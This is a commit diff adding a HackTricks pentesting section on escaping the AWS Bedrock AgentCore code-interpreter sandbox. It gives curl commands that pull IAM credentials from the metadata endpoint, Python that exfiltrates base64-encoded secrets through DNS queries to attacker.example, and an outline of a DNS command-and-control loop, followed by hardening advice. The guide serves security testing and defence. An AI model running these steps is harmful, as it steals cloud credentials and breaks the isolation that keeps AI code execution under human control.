Skip to content

Commit f0d0e56

Browse files
author
HackTricks News Bot
committed
Add content from: Cracks in the Bedrock: Escaping the AWS AgentCore Sandbox
1 parent 36d8f39 commit f0d0e56

1 file changed

Lines changed: 109 additions & 0 deletions

File tree

  • src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -130,11 +130,118 @@ The core issue is that the backend lets the model decide **who may do what** by
130130
- Treat each collaborator as a separate trust boundary: scope action groups narrowly, validate tool inputs in the backend, and require server-side authorization before high-impact actions.
131131
- Bedrock **pre-processing** can reject or classify suspicious requests before orchestration, and **Guardrails** can block prompt-injection attempts at runtime. They should be enabled even if prompt templates already contain “do not disclose” rules.
132132

133+
## AWS - AgentCore Sandbox Escape via DNS Tunneling and MMDS Abuse
134+
135+
### Overview
136+
137+
Amazon Bedrock AgentCore Code Interpreter runs inside an AWS-managed microVM and supports different network modes. The interesting post-exploitation question is not "can code run?" because code execution is the product feature, but whether the managed isolation still prevents **credential theft**, **exfiltration**, and **C2** once code runs.
138+
139+
The useful chain is:
140+
141+
1. Access the microVM metadata endpoint at `169.254.169.254`
142+
2. Recover temporary credentials from MMDS if tokenless access is still allowed
143+
3. Abuse sandbox DNS recursion as a covert egress path
144+
4. Exfiltrate credentials or run a DNS-based control loop
145+
146+
This is the Bedrock-specific version of the classic **metadata -> credentials -> exfiltration** cloud attack path.
147+
148+
### Main primitives
149+
150+
#### 1. Runtime SSRF -> MMDS credentials
151+
152+
AgentCore Runtime is not supposed to expose arbitrary code execution to end users, so the interesting primitive there is **SSRF**. If the runtime can be tricked into requesting `http://169.254.169.254/...` and MMDS accepts plain `GET` requests without an MMDSv2 token, the SSRF becomes a direct credential theft primitive.
153+
154+
This recreates the old **IMDSv1 risk model**:
155+
156+
```bash
157+
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
158+
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
159+
```
160+
161+
If MMDSv2 is enforced, a simple SSRF usually loses impact because it also needs a preceding `PUT` request to obtain the session token. If MMDSv1-compatible access is still enabled on older agents/tools, treat Runtime SSRF as a high-severity credential theft path.
162+
163+
#### 2. Code Interpreter -> MMDS reconnaissance
164+
165+
Inside Code Interpreter, arbitrary code execution already exists by design, so MMDS mainly matters because it exposes:
166+
167+
- temporary IAM role credentials
168+
- instance metadata and tags
169+
- internal service plumbing that hints at reachable AWS backends
170+
171+
Interesting paths from the research:
172+
173+
- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-url`
174+
- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-kms-key`
175+
176+
The returned S3 pre-signed URL is useful because it proves the sandbox still needs some outbound path to AWS services. That is a strong hint that "isolated" only means "restricted", not "offline".
177+
178+
#### 3. Sandbox DNS recursion -> DNS tunneling
179+
180+
The most valuable network finding is that Sandbox mode can still perform **DNS resolution**, including recursion for arbitrary public domains. Even if direct TCP/UDP data traffic is blocked, that is enough for **DNS tunneling**.
181+
182+
Quick validation from inside the interpreter:
183+
184+
```python
185+
import socket
186+
187+
socket.gethostbyname_ex("s3.us-east-1.amazonaws.com")
188+
socket.gethostbyname_ex("attacker.example")
189+
```
190+
191+
If attacker-controlled domains resolve, use the query name itself as the transport:
192+
193+
```python
194+
import base64
195+
import socket
196+
197+
data = b"my-secret"
198+
label = base64.urlsafe_b64encode(data).decode().rstrip("=")
199+
socket.gethostbyname_ex(f"{label}.attacker.example")
200+
```
201+
202+
The recursive resolver forwards the query to the attacker's authoritative DNS server, so the payload is recovered from DNS logs. Repeating this in chunks gives you a simple **egress channel** for:
203+
204+
- MMDS credentials
205+
- environment variables
206+
- source code
207+
- command output
208+
209+
DNS responses can also carry small tasking values, enabling a basic **bidirectional DNS C2** loop.
210+
211+
### Practical post-exploitation chain
212+
213+
1. Get code execution in AgentCore Code Interpreter or SSRF in AgentCore Runtime.
214+
2. Query MMDS and recover the attached role credentials when tokenless metadata is available.
215+
3. Test whether sandbox/public DNS recursion reaches an attacker domain.
216+
4. Chunk and encode credentials into subdomains.
217+
5. Reconstruct them from authoritative DNS logs and reuse them with AWS APIs.
218+
219+
For direct execution-role pivoting through a more privileged interpreter configuration, also check [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md).
220+
221+
### Pre-signed URL signer identity leak
222+
223+
The undocumented MMDS tag values can also leak backend identity information. If you intentionally break the signature of the returned S3 pre-signed URL, the `SignatureDoesNotMatch` response may disclose the signing `AWSAccessKeyID`. That key ID can then be mapped to an owning AWS account:
224+
225+
```bash
226+
aws sts get-access-key-info --access-key-id <ACCESS_KEY_ID>
227+
```
228+
229+
This does not automatically grant write access outside the scope of the pre-signed object path, but it helps map the AWS-managed infrastructure behind the Bedrock service.
230+
231+
### Hardening / detection
232+
233+
- Prefer **VPC mode** when you need real network isolation instead of relying on Sandbox mode.
234+
- Restrict DNS egress in VPC mode with **Route 53 Resolver DNS Firewall**.
235+
- Require **MMDSv2** where AgentCore exposes that control, and disable MMDSv1 compatibility on older agents/tools.
236+
- Treat any Runtime SSRF as potentially equivalent to metadata credential theft until MMDSv2-only behavior is verified.
237+
- Keep AgentCore execution roles tightly scoped because DNS tunneling turns "non-internet" code execution into a practical exfiltration channel.
238+
133239

134240
## References
135241

136242
- [When AI Remembers Too Much – Persistent Behaviors in Agents’ Memory (Unit 42)](https://unit42.paloaltonetworks.com/indirect-prompt-injection-poisons-ai-longterm-memory/)
137243
- [When an Attacker Meets a Group of Agents: Navigating Amazon Bedrock's Multi-Agent Applications (Unit 42)](https://unit42.paloaltonetworks.com/amazon-bedrock-multiagent-applications/)
244+
- [Cracks in the Bedrock: Escaping the AWS AgentCore Sandbox (Unit 42)](https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/)
138245
- [Retain conversational context across multiple sessions using memory – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-memory.html)
139246
- [How Amazon Bedrock Agents works](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-how.html)
140247
- [Advanced prompt templates – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/advanced-prompts-templates.html)
@@ -143,5 +250,7 @@ The core issue is that the backend lets the model decide **who may do what** by
143250
- [Monitor model invocation using CloudWatch Logs and Amazon S3 – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html)
144251
- [Track agent’s step-by-step reasoning process using trace – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/trace-events.html)
145252
- [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/guardrails/)
253+
- [Understanding credentials management in Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
254+
- [Resource management - Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-resource-management.html)
146255

147256
{{#include ../../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)